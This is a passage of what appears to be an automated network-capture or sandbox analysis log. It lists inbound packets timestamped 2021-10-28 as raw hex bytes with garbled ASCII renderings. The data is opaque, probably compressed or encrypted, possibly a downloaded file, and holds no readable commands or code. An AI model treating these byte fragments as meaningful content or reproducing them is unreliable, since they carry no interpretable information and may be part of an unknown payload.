e5 62 7a 26 5a Data Ascii: qb25}yu(ob#)7;}2\p:%Rm\|%^Hl2Q5.D,kyaH&J\c\|zrT5Ge.5y"U?'9,~-&eMqVEy}InTqPR~/kNJ{Eu) IS\|m?bz&Z
2021-10-28 20:43:28 UTC	2471	IN	Data Raw: 7c cd 49 a0 79 ef 35 f2 ad 70 0c e6 c9 0a b2 8a d1 45 8e 24 38 77 06 6d cb b9 b1 f9 d0 52 33 f0 fa db b2 d1 41 26 63 60 a6 ab 81 0e 84 51 22 56 5c 04 0c b6 b8 95 7c 2e 22 a2 46 93 d0 32 3f c8 87 90 e9 78 03 84 fa f1 22 e4 0e 41 32 f7 2f 44 9b 5a 88 a3 a3 38 b3 a5 ec 75 b0 44 c2 f9 76 5d 88 b2 02 0f f8 85 ae ed 4b 9a 10 34 09 8c 65 64 5e 7f 9a e1 b9 23 1e 1d 80 eb 36 e3 62 db ec 75 23 3c ea 49 be a9 91 5d 9a 0b 7e c7 98 1a c8 06 76 58 28 e2 09 00 a8 05 ed e5 d6 15 a2 73 89 0f 10 f2 7e 8d ed 82 64 d7 4e d1 36 f5 b9 06 82 a8 8f c2 0b 25 95 87 7d cc 83 d6 de b4 bd 55 5d 02 c0 64 f0 bb 1e 16 b0 a2 92 fc 25 ea d8 3f 19 b3 87 b7 56 64 bb b3 14 aa fc d9 9b 5e dd ce 1e 6d 03 f9 4c 89 a6 21 b9 51 0e d7 2c fb 5a 3e f5 03 dc 44 38 89 04 57 5f 18 e2 24 7f 8b 6f d2 aa Data Ascii: \|Iy5pE$8wmR3A&c`Q"V\\|."F2?x"A2/DZ8uDv]K4ed^#6bu#<I]~vX(s~dN6%}U]d%?Vd^mL!Q,Z>D8W_$o
2021-10-28 20:43:28 UTC	2487	IN	Data Raw: c5 54 39 c0 37 41 b7 ee 5b c4 ff 16 b5 8b 8b e5 e3 2c 20 d3 2b 70 1b d7 89 ee bc d4 7e aa f9 17 b1 5f a5 13 b0 d6 bb 4d fb 33 26 b3 d9 57 78 db 12 76 46 bb fa f7 14 b4 2b 71 c5 1b 1a ff b0 dc 5f 24 ad b2 cb 74 3b 1c 35 75 6c 50 ca 98 b0 93 b4 37 94 ba 8f 38 6e bf d8 4f be ae f2 b1 17 db 32 ec 8f d4 7a fd 8c 5b 60 eb 5a fa b6 b0 1a 48 b0 88 4a 86 66 3c c6 a4 e3 c4 ca 4d 4a 9b 63 a1 83 0d 5f 17 0e b0 18 0a 52 88 56 31 b3 41 6f 4a a1 9e f7 4b d4 cd fa 5e 96 ff 72 ca 7d 81 ac 20 3d d0 03 1c d1 0d 73 63 6e 72 d5 b4 b8 a2 51 96 72 3c 63 b3 84 54 bb 19 53 4f d0 cc 7f e3 6e 3f dd 4b e9 b0 64 3a 1a 96 ca 58 cc 60 8b b4 66 13 60 ce 0b 20 ab 4b c9 24 0d 92 61 77 02 7b bb 2d 1e c9 1f 5f 56 c1 21 2b d0 4a 8e 37 91 80 d9 f6 41 74 e3 f1 f4 b6 c1 1f cf 33 b5 be c9 8c cb Data Ascii: T97A[, +p~_M3&WxvF+q_$t;5ulP78nO2z[`ZHJf<MJc_RV1AoJK^r} =scnrQr<cTSOn?Kd:X`f` K$aw{-_V!+J7At3
2021-10-28 20:43:28 UTC	2503	IN	Data Raw: e9 b5 81 75 08 7a 61 d1 d0 04 87 4b 55 97 a3 d8 a9 e0 4d 88 09 d7 81 11 bd 78 15 f7 fa 9e cd 53 3e db c0 b3 bf c3 12 58 e7 5f 13 82 b2 1f e9 56 c8 48 ec 05 5a 9d e4 bc 9c 63 44 7a 8f f8 f5 26 52 17 af d2 aa ce 55 30 0a fb d9 e0 99 46 1c 77 d6 dc d2 70 f4 33 87 e2 1f a4 67 0d 1f 56 eb 74 eb 78 61 48 63 d1 a1 7c f3 13 be 5e a3 a7 3c 94 0b 2e 56 77 84 86 b3 fc 5e 00 f7 3d 91 8c 01 be d6 8e 8c ff ac 61 c4 2e 2c 96 82 42 9b 8e 33 a2 e8 c0 4a f9 80 64 a3 93 c4 d4 a1 bc 7a 00 34 8a 10 36 84 a0 c0 7d 5c e3 c5 23 bf 9a 62 b1 fc 3c 5d 3d 2c 74 72 74 d7 d7 48 32 f3 6c e3 b4 56 10 c5 1d 84 26 66 c6 c3 14 de b7 e2 05 cf e0 4d 61 3a b0 36 c8 93 65 60 7d 15 fe 5c 42 59 1e 27 9a 5b 6c a6 25 da ed 6e 19 23 6e 42 ad 00 ec 0d f4 fe 84 a3 c1 56 07 5b f2 fc bf 3a 05 49 bd bf Data Ascii: uzaKUMxS>X_VHZcDz&RU0Fwp3gVtxaHc\|^<.Vw^=a.,B3Jdz46}\#b<]=,trtH2lV&fMa:6e`}\BY'[l%n#nBV[:I
2021-10-28 20:43:28 UTC	2519	IN	Data Raw: 8f c8 d7 a7 29 1d b4 ac af 2b 86 51 f9 29 bf b5 19 87 e7 75 7e 6f 3f 2c 49 01 62 d5 0c 26 fa bb 5f b8 f6 7a 22 33 a3 71 0c bd 65 c0 5f 49 1a dd b9 58 e0 ba d1 97 68 9f a2 a5 f6 9f 89 8a 84 00 4b 27 9a 66 4c cf a5 51 ff 34 ff 2a 93 6a 66 c4 c8 45 9b fa 4b 0d a5 8d da 99 e4 f5 e0 cc a3 5d 41 ed 50 d2 d1 d7 f9 15 5c 66 2f 83 d9 ab 46 25 eb 17 20 ee 99 14 94 d3 cb 92 b6 ee d8 fb e4 55 16 7b 28 bd 8e cc 93 e4 68 bc 3f bc 44 65 bd 89 4f 18 67 30 4f 49 4e 41 48 62 ca 66 12 35 67 86 f2 21 01 c8 6f d8 a8 a0 ed d7 75 92 c0 e2 43 0a 42 c3 87 f4 c6 18 2d 83 57 89 f8 19 dc f5 ca ef 2f 8a 59 7a 14 3c 6b 4c 52 76 2b 9c 2b 72 bc e5 db d4 18 3d 96 9a 75 01 e1 65 2d fa 25 3c 08 fd 1d 09 25 72 bb d6 60 38 df 07 9f 6d 51 c7 4f ef 47 19 9c 85 59 b8 d4 7d b2 30 46 d5 95 c1 7d Data Ascii: )+Q)u~o?,Ib&_z"3qe_IXhK'fLQ4*jfEK]AP\f/F% U{(h?DeOg0OINAHbf5g!ouCB-W/Yz<kLRv++r=ue-%<%r`8mQOGY}0F}
2021-10-28 20:43:28 UTC	2535	IN	Data Raw: 80 83 62 a3 11 e9 fc 3d 3d 1f 21 45 cc 92 2e 4d 36 6a 55 70 03 0b 0a 8a 86 ac 8c a9 25 c4 77 2a fa 1e 12 c1 99 34 9d d5 0f e0 ff bd 15 47 74 d5 7f 75 e6 58 53 2e 75 81 9e 18 ab b9 20 9f 31 ba 48 f4 41 ce ff d0 0f e6 49 6b 69 54 c8 df 3b 92 03 0a 06 2a 38 66 e3 55 cd d4 87 68 8b 5a c3 93 b3 2a eb 66 e0 50 0f d7 5c 07 9f 4c 73 6c 4d f1 00 14 bb a9 22 be 39 1b 54 b9 d6 54 3a 99 4a e9 80 85 c9 cb ee dc fa 2e 10 6d a8 5b 6c 1f 8d 88 65 82 9b e2 31 b8 c0 33 f3 ae 90 69 12 8a 7f 2b de a8 e1 14 27 03 d0 b5 05 fd 5d 83 1b c3 66 41 ab 12 11 b4 b3 11 ce a0 44 93 0d e3 e7 c2 42 99 5f 62 6a fa a9 48 b6 c0 ba fc 88 19 1b 84 c2 14 a7 5d 54 77 5c 64 92 fa bf 61 a1 4d 64 38 e0 5d a6 b4 dd 8c bd 73 3c 63 1c 18 52 b7 6e 05 d8 8a 2c 86 bd 24 56 0f 58 41 59 73 d9 12 04 dd 90 Data Ascii: b==!E.M6jUp%w4GtuXS.u 1HAIkiT;8fUhZ*fP\LslM"9TT:J.m[le13i+']fADB_bjH]Tw\daMd8]s<cRn,$VXAYs
2021-10-28 20:43:28 UTC	2551	IN	Data Raw: f5 81 35 31 57 0c 5f 60 5e af 8e d7 3f de a4 81 7c fb 54 fb ab ef 97 ce 14 17 b2 53 47 ca f5 3d e0 d1 ac 66 c0 eb 94 e0 47 e8 11 04 f8 89 bb a0 38 ff 2c 5a a6 c4 1c 16 42 72 13 e4 b4 e4 43 34 dd e5 16 ad 7f bd 24 3d a4 cb 65 73 b5 04 01 42 93 f1 10 3c e9 72 0c a5 06 22 67 68 e7 59 62 8e ae 02 bf 41 37 f2 11 ef 3e a9 e4 ba b2 c9 0e 42 6f 04 5c e7 85 39 b0 71 95 02 b2 3a 59 ee 9c 26 d1 f0 81 da 6a fb 81 77 02 99 4c 73 d2 73 be f1 0d be 02 5a 93 a5 02 40 d7 e4 2c 61 d2 0d ad 7b 44 b4 3d 7e f1 6a ab 1b 38 92 e4 21 56 a0 e1 d9 a0 40 d0 c5 c5 66 ce 99 1c 51 00 9d 95 53 30 c3 36 c4 24 96 4b 1f 17 df c0 f6 40 e7 8d da 91 12 97 2f e4 89 c6 70 a5 31 52 e1 ed de 83 8f c3 46 85 c4 fe dd fb 16 d4 08 d5 6a 02 8a 0f 74 dd f9 fd 98 5a 66 ec e4 11 44 62 28 a9 27 95 1c 5c Data Ascii: 51W_`^?\|TSG=fG8,ZBrC4$=esB<r"ghYbA7>Bo\9q:Y&jwLssZ@,a{D=~j8!V@fQS06$K@/p1RFjtZfDb('\
2021-10-28 20:43:28 UTC	2567	IN	Data Raw: bd e0 43 fc 6e d6 46 26 5b ce a8 b2 cc 27 89 5c 99 e3 cc 44 28 2a fa b1 14 22 98 93 c9 37 79 2d b6 80 ca 1c cd 88 7d a5 02 e8 2d a1 66 57 90 7b c6 45 e1 cb 3e 44 ea 1f ff 63 42 7a 03 6d 58 f3 ad 3b 6a 2e b8 e3 15 a1 1c b0 3d 68 a0 75 c3 d3 4f b7 2f 89 61 4e 0b 7d 20 8f 9d 74 71 4e 1b e0 37 88 31 70 e3 69 a1 cb 1a 29 5d 43 54 67 3b a1 60 ea 52 6b 1d 62 b5 9e 6d 84 25 81 ed dc 58 f4 d4 fb f9 3d 55 6c 44 a0 35 4c d4 0e b4 8b c9 4b e7 1f 80 f1 af 70 94 f4 de 1e 1c 9b 05 85 5a c7 d2 96 d9 23 e9 b0 09 e3 9e df ae a6 7f 68 dd 3c 04 3b 41 b5 be a0 1d 88 af 66 4f c7 56 6d 13 27 fd 90 96 a0 63 c0 31 d1 03 63 03 11 a0 59 f1 b7 ff 9b c5 eb d9 4f 21 93 82 99 47 a6 b7 75 b5 f7 55 b4 6a 71 bf 8f ac 65 fb 99 ea a0 7c 8a 9b 06 8c cc 4b 6a 71 2e 17 3e e4 f4 28 37 b6 a8 dc Data Ascii: CnF&['\D(*"7y-}-fW{E>DcBzmX;j.=huO/aN} tqN71pi)]CTg;`Rkbm%X=UlD5LKpZ#h<;AfOVm'c1cYO!GuUjqe\|Kjq.>(7
2021-10-28 20:43:28 UTC	2583	IN	Data Raw: ba b3 ca 4e 62 76 08 35 59 94 8a 09 54 78 29 1f 2c 04 15 98 31 0c d4 b4 b3 72 38 e4 03 10 49 86 a5 81 48 91 1a aa 52 4d 86 da 82 2f d9 ac 7e 71 b7 2e a3 91 40 48 80 0a 8a bd 01 e0 3f 3a a1 47 22 16 82 73 c2 de 7b 3c 7a d0 2e ad f9 22 a6 44 c3 7e 98 4c 00 d3 f0 9f 2d a3 f6 e0 cb c9 c3 c4 d2 57 e6 b4 2b 42 46 dd c8 a8 b8 d4 35 38 2d a9 1b ac cb 7b 38 a5 1c 5f 97 0a 9d df e9 b3 44 66 f3 6f 63 a2 d5 98 3e 80 c5 03 c5 30 8c 9f d9 41 4a 82 1a c7 36 77 72 da 7d 6b af 02 4c a2 1a 95 a2 77 c3 22 08 ce d5 5f b8 b1 40 33 6e 78 bc c0 4e 4e 95 e6 bf f1 c4 34 c8 69 d5 69 37 27 a3 2b 51 10 a3 62 eb 5f a4 e7 61 c3 20 eb 52 96 04 4d a8 ce b1 1e e4 43 ae 44 f9 c6 e8 31 c9 3c b9 50 7f 06 58 08 c2 90 73 85 0a 12 f9 bf a5 0c ec ae cb f0 d2 6b a7 3e a5 12 84 50 bf 62 c2 93 5d Data Ascii: Nbv5YTx),1r8IHRM/~q.@H?:G"s{<z."D~L-W+BF58-{8_Dfoc>0AJ6wr}kLw"_@3nxNN4ii7'+Qb_a RMCD1<PXsk>Pb]
2021-10-28 20:43:28 UTC	2599	IN	Data Raw: ba e1 97 3a 04 85 9a e5 9c bf 97 2c a2 87 c2 7f 2d a1 fe 4c 76 d8 05 85 e9 a8 21 f8 cf 4b 13 57 02 ac c7 f0 ab 5a a7 26 58 3d 89 2e e0 4c 26 48 97 2d dd fa 1a bf cd 41 50 43 78 fc 91 f5 f7 e4 6e ec 4d 69 39 70 60 22 ba a0 06 96 83 79 3b ad 98 02 56 07 71 cb 2f 26 c6 9a ff b2 4f b6 ef d6 42 67 44 6c 9a 4b 49 1e cd ce 32 e9 ce 43 96 81 74 eb 58 8c 61 57 61 55 92 c1 fc 68 86 26 f7 2e 70 ef 03 0f c0 3e fd af e2 ae 5f 9a 10 46 16 a1 dd da 11 18 59 49 ff 54 dc 69 60 34 e2 2e 8f 2f 29 ce d3 d9 f3 cf e3 ce c8 47 e4 33 d6 e9 d0 3a 5f 95 c2 45 23 4b fb c1 77 7c cb 0b 7b 2f c8 7c 3c cf bc 04 a6 b8 df d6 f7 8f bb 6a 5d c7 15 4c 9f cc 6c 98 2b 89 49 9a 7f 66 6b 9e 96 64 f0 88 bf f9 a1 57 37 53 af ef 8f f4 f5 b1 f8 4b 63 6f 6f 07 66 e9 28 01 06 74 e3 4d 82 83 46 99 9b Data Ascii: :,-Lv!KWZ&X=.L&H-APCxnMi9p`"y;Vq/&OBgDlKI2CtXaWaUh&.p>_FYITi`4./)G3:_E#Kw\|{/\|<j]Ll+IfkdW7SKcoof(tMF
2021-10-28 20:43:28 UTC	2615	IN	Data Raw: 49 2b e9 89 42 e8 70 c5 f3 eb ad a6 06 c7 99 ad 4a 9a 13 17 48 bf ef 77 06 63 b1 71 1c 19 88 11 d1 56 24 fd 05 98 82 3f 7b e6 9e f0 13 d1 dc 83 21 be 1a 45 05 97 b2 82 ce c2 f3 ad b6 fa 16 ee de 6c d3 dd e4 20 d1 a9 92 db c7 05 b8 01 85 53 ac 48 37 9f 39 3b 85 6e 20 53 81 2f 2d 4c 18 53 df f9 2f 48 d1 c3 94 7a bd 0d 36 81 ee 4c 43 33 4a 9e b8 ce 04 44 24 62 ef cc 7d c5 51 ae b3 3f 58 11 50 1d df 50 4c 5b 41 04 98 a1 dd 87 d7 8a 93 c8 47 c9 9a 4f 84 84 08 08 bb 1c 64 b4 16 d0 b9 b0 3c d5 5e d5 59 c7 35 c4 04 50 d4 48 00 85 40 32 3a 30 bf 23 81 23 a2 d1 97 0d 5a 16 87 fc c1 3c d2 3f 9c ab 82 9e 23 15 08 6a f1 d0 85 44 19 b3 ad 7b 3b c4 7d 2a d9 e9 e3 81 41 48 54 20 03 cc df b1 ea f8 a3 88 36 e7 b8 6e 3b 15 60 1d 65 a8 08 f3 62 9e 45 50 83 af 82 2b 12 48 a2 Data Ascii: I+BpJHwcqV$?{!El SH79;n S/-LS/Hz6LC3JD$b}Q?XPPL[AGOd<^Y5PH@2:0##Z<?#jD{;}*AHT 6n;`ebEP+H
2021-10-28 20:43:28 UTC	2631	IN	Data Raw: b2 88 58 17 68 db d1 e8 3c 19 b2 80 c4 ab d3 c4 a2 5c 57 ad 2d 6a 1e 0a a2 a8 b7 4c dc 92 d3 94 dc 8c 3c a2 8c c2 c6 b4 58 86 b8 c0 65 c7 0c 63 f4 32 25 15 ef d1 36 54 97 f3 df 2a bf 4c ba 5e ce 2a b5 32 a5 75 cf 2c ee 1c 6b db ee 90 5b 91 6b a7 a7 cb ca 5c aa 8f ce e7 64 43 5e 04 e4 f5 b7 08 96 31 ff 4c 7c 39 a4 ee 87 b8 a5 4d b7 29 86 5a c7 7a 6e e2 72 d2 d2 13 d1 19 19 54 b3 3c 64 4c 92 6e d4 f9 aa 07 14 01 fe 6f 3a 96 60 68 d0 df 63 7f 96 31 f9 45 a6 f5 97 bc f2 a9 5c 95 3a 86 2c d2 bd 9c 0a fd 36 fc 5c 57 52 22 7d a3 45 16 f3 1a 83 30 10 79 1b 40 a0 38 f4 f2 cd 89 7b 00 dc 8d 3b 49 64 85 5d 7b e9 4d dc 50 fd 21 f0 da 55 29 2b 20 7f b7 bd 7c ec ef 62 2c c6 4e e8 e2 da 36 a2 36 5a 6b 22 ff b0 54 ef 9c 2d ad 94 2d 2e 67 9d e5 81 52 3c af 7d 14 49 af 30 Data Ascii: Xh<\W-jL<Xec2%6TL^2u,k[k\dC^1L\|9M)ZznrT<dLno:`hc1E\:,6\WR"}E0y@8{;Id]{MP!U)+ \|b,N66Zk"T--.gR<}I0
2021-10-28 20:43:28 UTC	2647	IN	Data Raw: d2 14 a6 71 61 cc bc eb fb 74 a6 2e 28 97 28 e9 6a fc be 36 81 72 49 94 28 0c 8e e2 c5 83 3e 65 f5 25 af 50 ee 59 70 07 ba 76 93 81 84 db c5 fe 7d 80 83 f0 5e 59 07 b9 00 84 04 33 6c a0 06 0a 67 13 fe 27 5d 50 a5 31 17 34 54 dd a4 0d 1d f3 1c d4 b4 df 81 9b 2e a6 dc e6 12 cf 83 96 a8 74 f8 73 78 0f 21 e9 48 08 44 11 74 33 28 7c 94 ae 02 ca f0 b6 c9 30 9b 6d 07 c6 51 66 fd fb e4 a5 25 75 d2 c1 26 d7 22 f3 0d ab 8f a5 83 ad 23 72 83 44 0b 57 60 1f 7a 41 5f e2 18 e5 5d 83 d4 5e 10 64 5c 82 83 ed 70 20 04 96 41 c3 27 07 85 69 73 01 03 fc 34 a6 34 3d b1 07 98 46 9a 52 eb b8 4b 34 70 94 52 50 89 f9 3e 51 3c 37 b8 2b 11 9f b3 31 09 68 e8 8a 31 10 2a ed 67 ab e1 c9 4c 05 3e e6 8a b7 04 fd 82 e8 8b 79 97 f7 84 1b 84 f5 25 e3 41 5a 76 63 ac c4 75 2d 57 91 f6 f1 81 Data Ascii: qat.((j6rI(>e%PYpv}^Y3lg']P14T.tsx!HDt3(\|0mQf%u&"#rDW`zA_]^d\p A'is44=FRK4pRP>Q<7+1h1*gL>y%AZvcu-W
2021-10-28 20:43:28 UTC	2663	IN	Data Raw: e4 da db fb 5a 54 bf b1 49 10 77 d4 93 9c 0d 96 55 a0 8b 68 da 62 7a 83 fb 46 e4 91 d5 65 0c f8 a3 8e 3a 6a 98 36 53 65 30 e4 ed 9e 2d be e4 06 89 f8 e8 ad a7 c5 50 ac 4a e1 6c d8 bd d8 43 7b 56 88 77 92 2d bf f8 04 ea fd ae bc ab 70 59 c9 6b 2d b8 a2 5f 0e f3 22 88 28 2c cd 55 f2 1b a2 bd 22 aa a3 82 6a a4 ed 9f 5e 9f c4 27 01 fb ec 41 18 cc 45 cd 72 44 e2 38 73 e3 f1 52 bd 39 da 9d 80 8c 18 a5 be ec 53 89 25 dc 9f 19 54 30 33 79 00 ae 48 52 4c 34 d1 ce 06 19 91 42 a2 10 7d 6f 73 5d de 0f fd 49 12 16 23 9e 75 55 f6 d7 08 c7 f4 c0 f0 3e 3f c4 c1 46 2e 17 f9 8c 62 fe 0a 77 87 b0 1f f2 86 04 79 95 3f 33 13 32 f6 90 a6 b2 3e ee 50 05 f8 15 08 c7 d0 02 f2 20 b4 fb 18 04 ef d7 4e 4e e1 c6 a4 81 a8 5a b1 9c 32 1b c2 e9 55 35 e5 93 08 a3 ec be 3d 77 01 65 98 b2 Data Ascii: ZTIwUhbzFe:j6Se0-PJlC{Vw-pYk-_"(,U"j^'AErD8sR9S%T03yHRL4B}os]I#uU>?F.bwy?32>P NNZ2U5=we
2021-10-28 20:43:28 UTC	2679	IN	Data Raw: 9c db ed 1f 1a c9 dc fa 85 fa 84 54 98 c8 95 1e 9e 54 65 6e fe 57 88 07 b0 6a d0 75 44 d3 06 3b 34 37 04 40 d8 56 3d f8 7b fd 87 db cf 87 d8 80 43 0d 77 3e 35 9a 60 aa be fc b4 e1 4a b1 cb f0 c5 79 a6 12 8a 85 8c 9e 11 eb 7b 5c 95 25 29 b5 3f 78 84 4f 03 8a b6 19 c6 c0 51 72 fd cb 2f af 36 06 61 58 36 c3 94 5e c8 b6 bf 45 c5 ae da 3e b1 4d 11 3c 27 c8 cf cb 80 71 46 05 bb 64 80 53 33 90 f5 36 83 f7 80 7c 23 c9 2e 29 69 fc 86 bd 7a 9c 2e 66 37 97 c9 7f 18 ab 3b 84 af 40 ed 54 21 e0 8b e6 5e e5 d7 68 80 6a 3a cc 04 db 30 87 e8 2a 47 7d d0 8a 4c e7 2b 57 a4 bc 34 e2 d9 e8 68 7e 96 5a 3a 70 04 00 0d d4 60 bd 4c 81 2f 25 44 2f 50 95 24 81 be f1 63 5f 12 c3 9c c7 4e ab 3a 42 08 39 51 03 63 09 a2 30 0f fc 63 77 c5 5b df 93 88 ed b0 0e 23 79 51 30 ca 2a b9 7f 04 Data Ascii: TTenWjuD;47@V={Cw>5`Jy{\%)?xOQr/6aX6^E>M<'qFdS36\|#.)iz.f7;@T!^hj:0G}L+W4h~Z:p`L/%D/P$c_N:B9Qc0cw[#yQ0
2021-10-28 20:43:28 UTC	2695	IN	Data Raw: 6d e6 db f6 07 f4 8e 95 10 c0 5f 1a d9 46 16 1e 38 26 d4 0e fa 87 67 26 29 cd 01 b5 f2 4a 29 b2 51 ed 88 37 3b df 8e bd 3e 19 cd 91 f7 50 77 1b 83 b2 a1 83 3e 90 6e 1e fb 3b 15 45 43 0a fb 4d 57 eb f3 32 44 3a 15 bf e9 d5 af 12 e3 2a 95 f0 54 90 98 70 0c e7 07 52 ba d2 22 85 45 6f d0 83 1c ac 1a b3 a6 83 34 4a 36 c1 9c f7 b0 ee d0 84 c1 30 ed 07 35 1c c6 f4 29 35 c5 f9 ea 69 05 d7 a0 a8 91 a9 a2 36 ee f9 64 51 57 ae 22 a8 20 c1 3b 18 15 d9 dd 65 23 24 f4 95 d2 a0 52 7e 36 fc d0 14 5c 46 37 91 90 ad 0a b6 21 ef c4 fa ac c4 39 69 24 50 af ca f2 09 a7 89 4d 70 55 da 43 2b c7 63 72 ab 48 46 21 10 f6 86 dd f7 cf 66 df 2e 37 c9 54 9d 9a 87 d9 94 bd 68 ea 27 2f 49 15 ea b5 6c fe 76 31 d4 25 54 43 07 d6 88 69 16 40 b7 f8 32 f0 da e4 64 c7 ba 15 5d af 93 8b 3a a4 Data Ascii: m_F8&g&)J)Q7;>Pw>n;ECMW2D:*TpR"Eo4J605)5i6dQW" ;e#$R~6\F7!9i$PMpUC+crHF!f.7Th'/Ilv1%TCi@2d]:
2021-10-28 20:43:28 UTC	2711	IN	Data Raw: ef e3 81 75 61 6e 0f eb b4 0c 8c 53 f7 15 05 0d 16 c4 f4 c8 15 51 07 b6 0a f8 7d 2a cd f7 96 e9 06 e3 f2 5e f5 49 12 39 dc 51 db a9 98 27 f4 94 6a 96 49 d2 0f 39 24 2c 47 bf 33 1e cc 5d 44 e4 a7 79 02 23 df 25 d5 77 6a b5 f8 65 78 a9 ce 08 70 81 3b 36 49 6a d8 7b 0a 86 3d 39 71 9f 6f ad 3b 7b 15 b7 d2 2e a6 88 0f cd 6e af 34 1b 29 55 f3 4e e2 83 17 c2 dd c2 53 3d 4b 15 c1 90 5a 4d b9 d1 c3 2e cd 20 b0 2a 49 f2 d3 a2 f9 f3 58 03 ad 64 5d 20 9f 00 9e c1 3d 5b cf 90 6a 91 43 a7 9f c0 fb 02 f6 6d 13 a9 f3 4e b5 09 bc 26 ea 86 9d 21 2b 15 95 5c 9d d8 0e da bd 0b 0a 51 a9 a3 71 e5 53 81 4d 20 89 c4 52 3b 02 12 5d 21 3b d1 4a a7 9e 87 e9 a8 6a 71 24 c6 be b3 e6 72 91 98 a1 2e d7 e1 4e 34 32 d3 16 11 f0 64 7c 5c de 92 f9 26 10 db 79 cb 53 12 7b e4 fd a0 1e 6b 1f Data Ascii: uanSQ}^I9Q'jI9$,G3]Dy#%wjexp;6Ij{=9qo;{.n4)UNS=KZM. IXd] =[jCmN&!+\QqSM R;]!;Jjq$r.N42d\|\&yS{k
2021-10-28 20:43:28 UTC	2727	IN	Data Raw: 8a 5e 74 2d 90 65 58 92 26 b1 96 29 70 ac d9 47 3d 7c ee 92 bc bb 25 88 88 08 a4 f7 1a e4 6b be c3 c3 bd 1f 64 1e 87 49 cc b0 51 33 63 28 a3 16 ba 96 1c 00 7e 4b 09 55 92 2b 65 4a 6c ac 58 04 79 f9 d4 23 12 a3 05 3f 49 63 da 0b 30 37 4d 1f 0a 12 1c 97 2b 8d e0 5a 9c cc 23 2a 4f 28 51 1f e6 6d 65 6c fd 15 0b 95 2a be 4d 66 b2 8e da 1e ff f3 da 10 74 f0 5c b5 7d b6 04 44 3c 64 95 e7 35 99 03 d5 4a 0e fe 56 40 21 5e 43 f5 12 10 89 56 33 50 63 0c ab a9 63 f7 71 9a b1 28 14 32 3d c1 6d 88 10 f4 bf 06 9f f8 6e 06 44 77 6d 91 62 0d ab 86 42 67 03 ba 2d c9 8f 7f 25 0e ff ef f5 f2 3f c6 8b 5d 25 da 40 03 6b 30 ba 9d 7b 2d 5d 96 42 fa 76 67 aa 32 27 b2 1c 8f 02 0f 40 1c 91 37 d8 4b bd aa 0c 08 84 a4 09 cf 5a 1a ab e5 26 79 60 98 f5 90 23 8f 79 1b b6 21 cb 64 dc e2 Data Ascii: ^t-eX&)pG=\|%kdIQ3c(~KU+eJlXy#?Ic07M+Z#O(QmelMft\}D<d5JV@!^CV3Pccq(2=mnDwmbBg-%?]%@k0{-]Bvg2'@7KZ&y`#y!d
2021-10-28 20:43:28 UTC	2743	IN	Data Raw: 38 e1 d1 ab dd bb 23 30 67 03 76 21 c9 76 ac 3d c5 a1 7c 8a 5b ee 87 d4 04 6b 2c 46 7d 72 44 2c 11 f2 95 11 f3 17 70 55 81 52 a5 9e b7 83 73 4b 69 c3 99 a7 80 03 88 ff 57 6b 2c bd 3e b2 6a 08 e7 a6 4f 12 9a 7e a9 4e 2d 0f a5 f0 91 cf 21 04 bc 50 70 0f 93 08 ae 19 ea eb f4 4d c1 d3 ff 56 4e 7c 73 42 79 e2 7a 58 90 85 fa a8 51 a6 e2 05 50 a4 dc 86 be 8b b9 14 e2 8e 3e ec c9 72 3a e7 e6 8d e3 da dd da 59 ea 74 9c 3c 9b 83 46 37 a0 53 ac 40 2e 3d eb 13 2e 5f da 12 a5 e1 87 dc bc f5 c9 cb 6e 22 48 61 49 fa 0a 31 66 24 09 de f9 20 12 42 e8 01 4d fa a1 b4 d0 76 39 62 de 51 27 93 b8 2c 89 b7 9d 38 dc 51 e8 fd 7f 54 90 c9 c1 c3 80 15 19 21 0e 42 e9 5b d1 5c e7 74 cf 3b ad fd 17 99 15 d9 0a 2d a8 fc b7 40 02 8b 92 a3 18 c3 c9 da 0c 07 21 99 0f 34 07 9c 73 0e 3d 81 Data Ascii: 8#0gv!v=\|[k,F}rD,pURsKiWk,>jO~N-!PpMVN\|sByzXQP>r:Yt<F7S@.=._n"HaI1f$ BMv9bQ',8QT!B[\t;-@!4s=
2021-10-28 20:43:28 UTC	2759	IN	Data Raw: 81 b8 41 53 72 20 37 98 4b 8a d8 c2 dd 1c 82 e9 4f 9d b9 2f d3 44 85 2f e7 6d 5e ff 54 15 5e f4 09 7c fe d7 9b f5 5c c1 7d d0 08 93 54 2b 7e 48 e5 6a 6a 22 84 1c 07 45 03 4f a5 56 f1 2e 79 da c5 ad 2a 29 a5 30 97 f1 02 40 0c a9 70 0f 58 5c c4 f2 f6 70 cc ad 81 02 78 f3 c3 1d 3d 0b 16 03 94 49 d4 4b f9 f7 ff 98 85 aa 98 a1 ac 53 6e 5a e1 72 de ac 67 4d ca d7 ad c2 17 b7 e2 6c 77 29 7e 3f b8 db 3e a4 5d 30 c5 1e a3 b4 e1 c4 09 fd 17 71 9f a4 f6 d7 cf d2 23 c6 2c f7 6e 34 ba 67 43 43 8e b2 61 e6 95 e4 ad 1e 8c 65 86 53 85 15 1e 5a 18 a3 97 38 12 37 a7 8a b3 e2 ae 72 e9 fe 4b 7c 6c 37 79 48 f3 84 fc 82 06 c0 a8 52 e4 08 de 88 d9 42 cd ef 5b a4 87 0f 4b 42 d5 a0 da 85 a7 18 04 0e 5d 03 12 53 92 41 bc 2a 82 2d 77 0a f4 e5 2e 88 a2 f5 20 db e3 38 6d 16 61 46 cd Data Ascii: ASr 7KO/D/m^T^\|\}T+~Hjj"EOV.y)0@pX\px=IKSnZrgMlw)~?>]0q#,n4gCCaeSZ87rK\|l7yHRB[KB]SA-w. 8maF
2021-10-28 20:43:28 UTC	2775	IN	Data Raw: f1 bf 8b d3 a8 b4 b0 1a 85 9d 0b 7e da 26 04 a3 dd df ad 93 39 b6 1d e3 3f 73 a4 1e 15 e7 ab c1 65 f2 e5 bd fb 09 8b fc a0 a6 2a 5d d6 fa b3 08 0d 95 f7 a6 1d 83 a7 75 1a c8 5e f3 79 b9 5d 57 ef cf a2 fb 2e 4a 81 80 4a ca 8f 5b e3 cc 59 44 24 64 9f 3a 0d d2 60 82 ab a8 b6 fb ae f1 bc 22 80 15 75 e5 bc 69 89 6a 2a 8b 0d 2f 98 fd 75 75 6a 26 ad c5 8e 6d d3 cb 61 b8 5d 14 7a 91 8a 90 4c 65 e8 b9 ae 56 b2 8d b2 26 40 34 e9 39 11 a0 1a d0 8a 49 c0 c2 ad b0 e7 86 3c b5 1d 29 8a ba d4 95 4a 13 8e 3b 98 80 14 b6 51 25 6a 25 0e 20 b0 08 9b 33 0d 7a 78 e6 61 86 e6 8d be 64 55 e5 6a 12 94 7e d8 1a 3a c5 70 9c 7e fe 2e b0 1e 0c 68 f8 65 63 2a cf 68 24 1f 7f 6c 04 da 68 